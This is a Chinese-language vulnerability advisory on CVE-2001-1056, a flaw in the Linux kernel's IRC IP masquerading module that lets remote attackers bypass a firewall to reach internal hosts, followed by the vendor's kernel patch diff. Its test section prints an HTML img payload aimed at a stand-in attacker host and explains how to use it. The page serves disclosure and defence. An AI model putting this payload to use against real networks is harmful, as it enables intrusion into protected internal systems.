首页 -> 安全研究
安全研究
安全漏洞
Linux 内核IRC IP 伪装模块漏洞
发布日期:2001-07-30
更新日期:2001-08-02
受影响系统:
描述:
Linux kernel 2.2.x
Linux kernel 2.0.x
BUGTRAQ ID: 3117
CVE(CAN) ID: CVE-2001-1056
Linux 的'ip_masq_irc' IP伪装模块用来对IRC协议数据以及DCC文件传输请求进行解释和
处理。它会动态的为IRC数据传输打开和映射端口。
这个模块在处理DCC文件传输时包含一个安全漏洞,允许远程攻击者临时创建一个
发往内部的连接,这可以绕过防火墙的保护来访问内部主机。
<*来源:Michal Zalewski (lcamtuf@razor.bindview.com)
链接:http://razor.bindview.com/publish/advisories/adv_LkIPmasq.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
攻击者可以给被攻击主机上的用户发送一封HTML邮件或者诱使他访问攻击者控制的站点,
邮件或者站点中包含下列代码:
<img src="ftp://evil.host:6667/%01DCC%20SEND%20file%20addr%20port">
上面,evil.host是攻击者控制的主机,它监听6667端口。
file是传输的文件名,addr是防火墙内部主机的IP地址,port是攻击者想要访问的端口。
当被攻击者发起向evil.host的连接时,攻击者必须可以返回一个正常的FTP协议响应。
然后攻击者就可以获取防火墙的来源端口信息(发往这个端口的数据将被转发给内部主机
的port端口),然后攻击者就可以与内部主机的port端口建立有效的连接。
建议:
厂商补丁:
厂商已经提供了补丁程序,补丁代码如下:
--- linux/net/ipv4/ip_masq_irc.c.dist Sun Mar 25 13:31:12 2001
+++ linux/net/ipv4/ip_masq_irc.c Mon Jul 30 13:29:49 2001
@@ -22,6 +22,7 @@
* <sshore@escape.ca>
* Scottie Shore : added support for mIRC DCC resume negotiation
* <sshore@escape.ca>
+ * Juan Jose Ciarlante : src addr/port checking for better security (spotted by Michal Zalewski)
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
@@ -38,7 +39,12 @@
* /etc/conf.modules (or /etc/modules.conf depending on your config)
* where modload will pick it up should you use modload to load your
* modules.
- *
+ *
+ * Insecure "back" data channel opening
+ * The helper does some trivial checks when opening a new DCC data
+ * channel. Use module parameter
+ * insecure=1
+ * ... to avoid this and get previous (pre 2.2.20) behaviour.
*/
#include <linux/config.h>
@@ -72,6 +78,9 @@
MODULE_PARM(ports, "1-" __MODULE_STRING(MAX_MASQ_APP_PORTS) "i");
+static int insecure=0;
+MODULE_PARM(insecure, "i");
+
/*
* List of supported DCC protocols
@@ -110,6 +119,30 @@
return 0;
}
+
+/*
+ * Ugly workaround [TM] --mummy ... why does this protocol sucks?
+ *
+ * The <1024 check and same source address just raise the
+ * security "feeling" => they don't prevent a redirector listening
+ * in same src address at a higher port; you should protect
+ * your internal network with ipchains output rules anyway
+ */
+
+static inline int masq_irc_out_check(const struct ip_masq *ms, __u32 data_saddr, __u16 data_sport) {
+ int allow=1;
+
+ IP_MASQ_DEBUG(1-debug, "masq_irc_out_check( s_addr=%d.%d.%d.%d, data_saddr=%d.%d.%d.%d, data_sport=%d",
+ NIPQUAD(ms->saddr), NIPQUAD(data_saddr), ntohs(data_sport));
+
+ /*
+ * Ignore data channel back to other src addr, nor to port < 1024
+ */
+ if (ms->saddr != data_saddr || ntohs(data_sport) < 1024)
+ allow=0;
+
+ return allow;
+}
int
masq_irc_out (struct ip_masq_app *mapp, struct ip_masq *ms, struct sk_buff **skb_p, __u32 maddr)
{
@@ -118,7 +151,7 @@
struct tcphdr *th;
char *data, *data_limit;
__u32 s_addr;
- __u16 s_port;
+ __u32 s_port; /* larger to allow strtoul() return value validation */
struct ip_masq *n_ms;
char buf[20]; /* "m_addr m_port" (dec base)*/
unsigned buf_len;
@@ -199,12 +232,25 @@
s_port = simple_strtoul(data,&data,10);
addr_end_p = data;
+ /* Sanity checks */
+ if (!s_addr || !s_port || s_port > 65535)
+ continue;
+
+ /* Prefer net order from now on */
+ s_addr = htonl(s_addr);
+ s_port = htons(s_port);
+
+ /* Simple validation */
+ if (!insecure && !masq_irc_out_check(ms, s_addr, s_port))
+ /* We may just: return 0; */
+ continue;
+
/* Do we already have a port open for this client?
* If so, use it (for DCC ACCEPT)
*/
n_ms = ip_masq_out_get(IPPROTO_TCP,
- htonl(s_addr),htons(s_port),
+ s_addr, s_port,
0, 0);
/*
@@ -216,7 +262,7 @@
if (n_ms==NULL)
n_ms = ip_masq_new(IPPROTO_TCP,
maddr, 0,
- htonl(s_addr),htons(s_port),
+ s_addr, s_port,
0, 0,
IP_MASQ_F_NO_DPORT|IP_MASQ_F_NO_DADDR);
if (n_ms==NULL)
@@ -236,7 +282,10 @@
diff = buf_len - (addr_end_p-addr_beg_p);
*addr_beg_p = '\0';
- IP_MASQ_DEBUG(1-debug, "masq_irc_out(): '%s' %X:%X detected (diff=%d)\n", dcc_p, s_addr,s_port, diff);
+ IP_MASQ_DEBUG(1-debug, "masq_irc_out(): '%s' %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d detected (diff=%d)\n", dcc_p,
+ NIPQUAD(s_addr), htons(s_port),
+ NIPQUAD(n_ms->maddr), htons(n_ms->mport),
+ diff);
/*
* No shift.
浏览次数:5236
严重程度:0(网友投票)
绿盟科技给您安全的保障